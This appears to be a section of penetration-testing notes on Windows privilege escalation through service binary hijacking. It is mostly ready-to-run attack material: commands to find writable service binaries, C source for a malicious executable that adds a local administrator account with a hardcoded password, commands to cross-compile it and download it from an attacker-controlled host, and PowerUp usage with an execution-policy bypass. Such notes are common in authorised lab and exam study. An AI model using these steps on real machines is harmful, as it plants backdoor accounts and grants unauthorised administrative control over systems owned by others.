5. Service Hijacking


Writable Files + Directories

Writable files from root directory:

cmd /c 'dir C:\ /a-r-d /s /b'

Writable directories from root directory:

cmd /c 'dir C:\ /ad-r /s /b'

Manual Service Binary Hijacking

  1. Enumerate running processes to identify any to abuse:
Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}

Alt. Get-Service ... Get-WmiObject ... services.msc
  1. Enumerate permissions for the identified services:
icacls "C:\xampp\apache\bin\httpd.exe"

Alt. Get-ACL

Permissions:
F: Full access
M: Modify access
RX: Read and execute access
R: Read-only access
W: Write-only access
  1. Create malicious binary. Example in C which will create a new user:
#include <stdlib.h>

int main ()
{
  int i;
  
  i = system ("net user zombie password123! /add");
  i = system ("net localgroup administrators zombie /add");
  
  return 0;
}
  1. Cross-compile it to an 64-bit .exe for Windows:
x86_64-w64-mingw32-gcc <file>.c -o <file>.exe
  1. Serve the binary, download it, and move it to the correct directory:
iwr -uri http://192.168.119.3/adduser.exe -Outfile adduser.exe
move <pre-path> <post-path>
  1. Try to restart the service manually (if permissioned):
net stop <servicename>
net start <servicename>

#Or run:
Restart-Service <servicename>

#Service name is not the binary file
  1. If not possible check if it starts again on reboot:
Get-CimInstance -ClassName win32_service | Select Name, StartMode | Where-Object {$_.Name -like '<servicename>'}
  1. Check if is privileged to restart system (the state should not matter):
whoami /priv
  1. Issue a system reboot using:
shutdown /r /t 0
  1. Remember to repair the binary after escalation!

Automatic Service Hijacking with PowerUp:

  1. Serve the PowerUp.ps1 on your kali machine.
  2. Download the script:
iwr -uri http://192.168.119.3/PowerUp.ps1 -Outfile PowerUp.ps1
  1. Run the script with bypass:
 powershell -ep bypass
 . .\PowerUp.ps1
  1. Now check modifiable services identified:
Get-ModifiableServiceFile
  1. Try to use the built-in AbuseFunction to install a service binary (where name is Service Name listed from above command):
Install-ServiceBinary -Name 'mysql'
  1. Win!